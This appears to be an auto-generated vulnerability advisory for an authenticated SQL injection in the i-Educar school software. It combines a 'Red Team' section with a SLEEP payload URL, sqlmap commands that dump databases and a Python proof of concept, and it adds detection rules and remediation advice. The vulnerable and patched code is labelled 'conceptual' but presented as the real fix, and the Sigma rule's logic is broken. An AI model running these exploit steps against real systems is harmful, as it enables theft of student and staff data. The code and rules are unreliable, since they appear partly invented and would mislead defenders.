CVE-2025-65023
Executive Summary
CVE-2025-65023 is a critical authenticated time-based SQL injection vulnerability in i-Educar, a free, fully online school management software. Versions 2.10.0 and prior are affected. An attacker with a valid authenticated session can exploit the cod_funcionario_vinculo GET parameter in the /intranet/funcionario_vinculo_cad.php script to execute arbitrary SQL commands. This can lead to unauthorized data access, data manipulation, and potential full database compromise. The vulnerability has been patched in commit a00dfa3, but no official release has been announced.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
i-Educar is a PHP-based application. The vulnerability exists in the core application code, not in a third-party package. However, organizations using i-Educar should verify their deployment version and apply the patch immediately. The application is typically deployed via Git or direct download from the official repository.
CVSS Breakdown & Threat Level
- CVSS Score: 7.2 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Authenticated user)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: High. The vulnerability allows authenticated attackers to execute arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and lateral movement within the network.
Deep Dive & Mechanics
The vulnerability resides in the ieducar/intranet/funcionario_vinculo_cad.php script. The cod_funcionario_vinculo GET parameter is directly concatenated into an SQL query without proper sanitization or parameterization. This allows an attacker to inject malicious SQL code.
Vulnerable Code Snippet (Conceptual):
$cod_funcionario_vinculo = $_GET['cod_funcionario_vinculo'];
$sql = "SELECT * FROM funcionario_vinculo WHERE cod_funcionario_vinculo = $cod_funcionario_vinculo";
$result = mysqli_query($conn, $sql);
The attacker can inject SQL commands by manipulating the cod_funcionario_vinculo parameter. For example:
http://target.com/intranet/funcionario_vinculo_cad.php?cod_funcionario_vinculo=1 OR SLEEP(5)
This would cause a time delay, confirming the SQL injection vulnerability. The attacker can then extract data using blind SQL injection techniques.
Vulnerable vs. Patched Code
Vulnerable Code (Before Patch):
$cod_funcionario_vinculo = $_GET['cod_funcionario_vinculo'];
$sql = "SELECT * FROM funcionario_vinculo WHERE cod_funcionario_vinculo = $cod_funcionario_vinculo";
$result = mysqli_query($conn, $sql);
Patched Code (After Commit a00dfa3):
$cod_funcionario_vinculo = intval($_GET['cod_funcionario_vinculo']);
$sql = "SELECT * FROM funcionario_vinculo WHERE cod_funcionario_vinculo = $cod_funcionario_vinculo";
$result = mysqli_query($conn, $sql);
The patch uses intval() to cast the input to an integer, effectively neutralizing any SQL injection attempts. This is a simple but effective fix.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Valid authenticated session cookie.
- Target running i-Educar version <= 2.10.0.
Exploit Steps:
- Identify the vulnerable endpoint:
http://target.com/intranet/funcionario_vinculo_cad.php - Confirm SQL injection using time-based technique:
If the response is delayed by 5 seconds, the vulnerability is confirmed.http://target.com/intranet/funcionario_vinculo_cad.php?cod_funcionario_vinculo=1 OR SLEEP(5) - Extract data using blind SQL injection:
Use a tool like
sqlmap:sqlmap -u "http://target.com/intranet/funcionario_vinculo_cad.php?cod_funcionario_vinculo=1" --cookie="PHPSESSID=your_session_id" --batch --dbs - Dump tables:
sqlmap -u "http://target.com/intranet/funcionario_vinculo_cad.php?cod_funcionario_vinculo=1" --cookie="PHPSESSID=your_session_id" -D ieducar --tables
Manual Exploit Example (Python):
import requests
import time
target = "http://target.com/intranet/funcionario_vinculo_cad.php"
cookies = {"PHPSESSID": "your_session_id"}
# Test for time-based injection
payload = "1 OR SLEEP(5)"
params = {"cod_funcionario_vinculo": payload}
start = time.time()
response = requests.get(target, params=params, cookies=cookies)
end = time.time()
if end - start >= 5:
print("Vulnerable to SQL injection!")
else:
print("Not vulnerable.")
Blue Team (Defensive)
Detection:
- Monitor for unusual GET requests to
/intranet/funcionario_vinculo_cad.phpwith suspicious parameters. - Look for time delays in database queries.
- Use WAF rules to block SQL injection patterns.
Hunting:
- Search web server logs for requests containing
SLEEP,BENCHMARK,UNION, or other SQL injection keywords. - Correlate with authentication logs to identify the user performing the attack.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP GET requests to
/intranet/funcionario_vinculo_cad.phpwith parameters containing SQL keywords (e.g.,SLEEP,UNION,SELECT). - Unusual response times from the server (e.g., 5-second delays).
- HTTP GET requests to
- Host IOCs:
- Unexpected database queries in MySQL logs.
- Unauthorized data exports or large data transfers.
- File IOCs:
- Modified or new files in the web root (e.g., webshells).
- Log IOCs:
- Repeated failed login attempts followed by successful exploitation.
- Queries to
information_schemaor system tables.
Detection Engineering
YARA Rule
rule CVE_2025_65023_SQLi_Attempt {
meta:
description = "Detects SQL injection attempts targeting CVE-2025-65023 in i-Educar"
author = "Valters IT"
date = "2025-04-10"
severity = "high"
strings:
$s1 = "cod_funcionario_vinculo" nocase
$s2 = "SLEEP" nocase
$s3 = "BENCHMARK" nocase
$s4 = "UNION" nocase
$s5 = "SELECT" nocase
$s6 = "OR 1=1" nocase
condition:
$s1 and any of ($s2, $s3, $s4, $s5, $s6)
}
Sigma Rule
title: CVE-2025-65023 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against i-Educar funcionario_vinculo_cad.php
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "cod_funcionario_vinculo"
cs-uri-query|contains|all:
- "SLEEP"
- "BENCHMARK"
- "UNION"
- "SELECT"
- "OR"
condition: selection
falsepositives:
- Legitimate use of these keywords in rare cases
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-65023 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/intranet/funcionario_vinculo_cad.php"; http_uri; content:"cod_funcionario_vinculo"; http_uri; pcre:"/(SLEEP|BENCHMARK|UNION|SELECT|OR\s+1=1)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Apply the patch: Update to the latest commit (a00dfa3) or apply the fix manually by replacing
$_GET['cod_funcionario_vinculo']withintval($_GET['cod_funcionario_vinculo'])in the vulnerable file. - Restrict access: Limit access to the
/intranet/directory to trusted IPs or VPN users. - Review user accounts: Audit all authenticated sessions and revoke any suspicious accounts.
Long-term Mitigations:
- Input validation: Implement strict input validation for all GET/POST parameters.
- Parameterized queries: Use prepared statements or parameterized queries for all database interactions.
- Web Application Firewall (WAF): Deploy a WAF to block SQL injection patterns.
- Regular security audits: Conduct periodic code reviews and penetration testing.
- Update policy: Ensure all instances are updated to the latest patched version.
Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.